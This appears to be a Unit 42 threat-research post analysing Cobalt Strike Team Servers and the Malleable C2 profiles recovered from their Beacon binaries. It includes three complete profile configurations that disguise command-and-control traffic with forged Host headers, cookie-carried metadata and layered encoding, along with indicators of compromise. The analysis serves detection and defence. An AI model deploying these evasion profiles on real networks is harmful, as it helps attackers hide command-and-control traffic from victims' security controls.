Detecting Popular Cobalt Strike Malleable C2 Profile Techniques

By Durgesh Sangvikar, Matthew Tennis, Chris Navarrete, Yanhui Jia, Yu Fu, Nina Smith

Published: 2023-06-27 · Archived: 2026-04-05 23:09:34 UTC

Executive Summary

Unit 42 researchers identified two Cobalt Strike Team Server instances hosted on the internet and uncovered new profiles that are not available on public repositories. We will highlight the distinct techniques attackers use to exploit the Cobalt Strike platform and circumvent signature-based detections.

We identified Team Server instances connected to the internet that host Beacon implants and provide command-and-control (C2) functionality. We have also extracted the Malleable C2 profile configuration from the Beacon binary to help us understand the various methods used to evade conventional detections.

The operators of the Cobalt Strike Team Servers attempted to conceal their C2 infrastructure behind benign and well-known services to evade detection. We have also found Team Server C2 infrastructure hosted on well-known public cloud infrastructure providers. The operators also deployed new Malleable C2 profiles. Threat and red team actors create new profiles to deceive security controls, bypass security measures and avoid detection. These tactics involve modifying HTTP URLs, header parameters and host headers with harmless and widely recognized domains.

Palo Alto Networks customers receive protections and mitigations for Cobalt Strike Beacon and Team Server C2 communication in the following ways:

- The Next-Generation Firewall (NGFW) with an Advanced Threat Prevention subscription can identify and block Cobalt Strike HTTP C2 requests generated by custom profiles and block Cobalt Strike HTTP C2 requests and responses that are masked with the Base64-encoding settings of the default profile (signatures 86445 and 86446).
- WildFire and Cortex XDR can identify and block Cobalt Strike Beacon binaries, and XDR will report related exploitation attempts.
- Cortex XSOAR response pack and playbook can automate the mitigation process.
- Malicious URLs and IPs have been added to Advanced URL Filtering.

Related Unit 42 Topics	Cobalt Strike, Cloud

Case Analysis

Cobalt Strike is a highly effective platform used by professionals to simulate threats in enterprise network environments. Its primary objective is to establish a secure and undetectable communication channel between Beacon implants and the Team Server. With the use of Malleable C2, Cobalt Strike operators can easily create highly flexible and evasive network profiles, generating different C2 traffic with ease.

Unit 42 researchers have discovered two distinct tactics used by threat or red team actors to evade detections from current security controls. By examining these cases, we can better understand the techniques these people use to carry out harmful actions without raising any security alerts.

The case studies below are derived from true positive detection analysis. In the following scenarios, we identified Cobalt Strike Team Server infrastructure, extracted Malleable C2 profile configuration information and reconstructed the configuration and implant data for use in detection improvements.

Case 1: Brand New Profile

Cobalt Strike has a well-documented custom profile language. Attackers and red teamers tend to craft well-designed and unique Malleable C2 profiles to conduct their operations, aiming to bypass security filters that look for known public Malleable C2 profiles.

We found a Team Server running on 23.95.44[.]80:80 that hosted a Beacon file with the SHA-256 hash 22631d171fd7d531c0bc083a5335a910a95257e3194b50d8b471740d3a91fe34. We used internal tools to derive and reconstruct the Malleable C2 profile from the configuration extracted from the Beacon binary.

Figure 1 shows an extracted and recreated custom profile. The left half of the image shows the GET transaction and the right side shows the POST transaction of the Beacon communication.

The encrypted and encoded data in the GET transaction is placed in a Cookie Parameter SESSIONID. The ID in the POST transaction is added to the custom header User. The ID is double encoded using Mask and NetBIOSU. The output from the task execution is also double encoded and appended to the data parameter in the POST body.

Beacon Information

- Team Server IP/Port: 23.95.44[.]80:80
- Autonomous System Number (ASN): AS-36352
- Used profile: New Profile
- Beacon payload SHA-256 hash: 22631d171fd7d531c0bc083a5335a910a95257e3194b50d8b471740d3a91fe34

```
set sleeptime "3000";
set jitter    "7";
set useragent "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT
    6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)";

http-get {
    set uri "/www/handle/doc";

    client {
        header "Host" "38.146.214.93";
        header "Accept" "*/*";
        header "Connection" "Keep-Alive";
        header "Cache-Control" "no-cache";

        metadata {
            base64url;
            prepend "SESSIONID=";
            header "Cookie";

        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            print;
        }
    }
}
```

```
# define indicators for an HTTP POST
http-post {
    set uri "/IMXo";
    set verb "POST";

    client {
        header "Accept" "*/*";
        header "Connection" "Keep-Alive";
        header "Host" "187.208.41.43";
        header "Cache-Control" "no-cache";

        output {
            mask;
            base64url;
            prepend "data=";
            append "%%";
            print;
        }
        id {
            mask;
        netbiosu;
        prepend "user=";
        append "%%";
        header "User";
        }
    }
    server {
        header "Content-Type" "text/plain";

        output {
            print;
        }
    }
}
```

Figure 1. A brand new Malleable C2 Profile.

Case 2: Hiding Behind Known Good Services

Security vendors use elements of HTTP traffic to determine if a given flow is suspicious or malicious. If the domain in the Host header of an HTTP request is on a ranked list of popular domains, some malicious criteria could be discarded as the request might be identified as benign. Similarly, if the destination server belongs to a well-known cloud provider, that IP address could be on the allow list and considered benign.

Attackers use these detection criteria to their advantage by generating HTTP request traffic to mimic known good services in order to evade identification. We routinely catch Malleable C2 profiles that mimic well-known benign websites such as e-commerce sites, search engines and email providers.

Case 2.1: Host with Benign/Famous Domain to Evade Security Detection

Attackers often use forged host headers to generate traffic that appears to be benign, thus evading network security inspection. However, this traffic can still be identified as malicious when inspected by an expert.

Figure 2 shows a Beacon sample using a modified Malleable C2 profile hosted on GitHub. The person intended to disguise the malicious traffic as benign traffic from a highly reputable website. However, the ASN record for the destination IP address shows a different owner, confirming the deception.

Beacon Information

- Team Server IP/Port: 159.65.219[.]189:443
- ASN: AS-14061
- Used profile: Modified profile hosted on GitHub
- Beacon payload SHA-256 hash: 3528313aeff15375a2bce7b7587b188dcf1befb1e50c9db65d46e81a77a4a096

```
set sleeptime "5000";
set jitter    "0";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0
    Safari/537.36";

http-get {
    set uri "/api/fetch";

    client {
        header "Accept" "*/*";
        header "Host" "www.[redacted].com";
        header "Cache-Control" "no-cache";
        header "Connection" "Keep-Alive";
        metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            print;
        }
    }
}
```

```
# define indicators for an HTTP POST
http-post {
    set uri "/api/telemetry";
    set verb "POST";

    client {
        header "Connection" "Keep-Alive";
        header "Accept" "*/*";
        header "Content-Type" "text/xml";
        header "X-Requested-With" "XMLHttpRequest";
        header "Host" "www.[redacted].com";
        header "Cache-Control" "no-cache";
        parameter "sz" "160x600";
            parameter "oe" "oe=ISO-8859-1;";
            parameter "s" "3717";
            parameter "dc_ref" "http%3A%2F%2Fwww.[redacted].com";
        output {
            base64;
            print;
        }
        id {
            parameter "sn";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            print;
        }
    }
}
```

Figure 2. Malleable C2 Profile with forged HTTP Host header.

Case 2.2: Destination IP Used from Public Cloud to Evade Security Detection

This example shows how threat or red team actors can use public cloud platforms as a C2 server. Generally, these cases are hard to detect by IP reputation services such as VirusTotal or URL filtering products due to the benign nature of the service provider.

Penetration testers are well aware of the popularity of online services and use them to their advantage. They can hide payloads in seemingly harmless services, making it harder to detect malicious activity.

Unit 42 researchers identified a Team Server on the IP 35.224.140[.]15:443 that hosted the Cobalt Strike Beacon with the SHA-256 hash 3ac4be4291bddaaa39a815cc05ece6d611cd69a1604fec8dec0f7e5451659cfa. The Team Server IP belongs to a prominent cloud provider.

Figure 3 shows the Malleable C2 profiles recreated from the Beacon binary hosted on the Team Server instance. The Team Server was running on a well-known cloud provider.

Beacon Information

- Team Server IP/Port: 35.224.140[.]15:443
- ASN: AS-396982
- Used profile: Default profile
- Beacon payload SHA-256 hash: 3ac4be4291bddaaa39a815cc05ece6d611cd69a1604fec8dec0f7e5451659cfa

```
set sleeptime "60000";
set jitter    "0";
set useragent "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
    5.1; Trident/4.0; .NET CLR 2.0.50727)";

http-get {
    set uri "/dot.gif";

    client {
        header "Connection" "Keep-Alive";
        header "Accept" "*/*";
        header "Host" "194.76.183.70";
        header "Cache-Control" "no-cache";
    metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            print;
        }
    }
}
```

```
# define indicators for an HTTP POST
http-post {
    set uri "/submit.php";
    set verb "POST";

    client {
        header "Connection" "Keep-Alive";
        header "Accept" "*/*";
        header "Cache-Control" "no-cache";
        header "Host" "162.252.63.87";
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
        id {
            parameter "id";
        }
    }
    server {
        header "Content-Type" "text/plain";

        output {
            print;
        }
    }
}
```

Figure 3. Malleable C2 Profile using a known public cloud service.

Conclusion

Cobalt Strike is a highly versatile tool, and most security vendors struggle to detect its C2 traffic accurately. This makes Cobalt Strike an ideal choice for attackers looking to increase their malware's chances of success.

We are continuously discovering new Team Servers that host active Beacon binaries. This threat hunting has proven fruitful against the misuse of Cobalt Strike in cyberattacks. The continuous cycle of scanning and learning helps us remain vigilant and provide active defenses against cybercrime.

Palo Alto Networks customers receive protection from the attack above with the following products:

1. The Next-Generation Firewall with an Advanced Threat Prevention subscription can identify and block the Cobalt Strike HTTP C2 request in nondefault profiles. ATP signatures 86445 and 86446 can identify HTTP C2 requests with the Base64 metadata encoding in default profiles.
2. WildFire, an NGFW security subscription and Cortex XDR identify and block CobaltStrike Beacon.
3. Cortex XSOAR response pack and playbook can automate the mitigation process.
4. Cortex XDR will report related exploitation attempts.
5. Malicious URLs and IPs have been added to Advanced URL Filtering.

Indicators of Compromise

CS Beacon Samples

- 22631d171fd7d531c0bc083a5335a910a95257e3194b50d8b471740d3a91fe34
- 3528313aeff15375a2bce7b7587b188dcf1befb1e50c9db65d46e81a77a4a096
- 3ac4be4291bddaaa39a815cc05ece6d611cd69a1604fec8dec0f7e5451659cfa

CS Team Server IP Addresses

- 23.95.44[.]80:80
- 159.65.219[.]189:443
- 35.224.140[.]15:443

Source: https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2/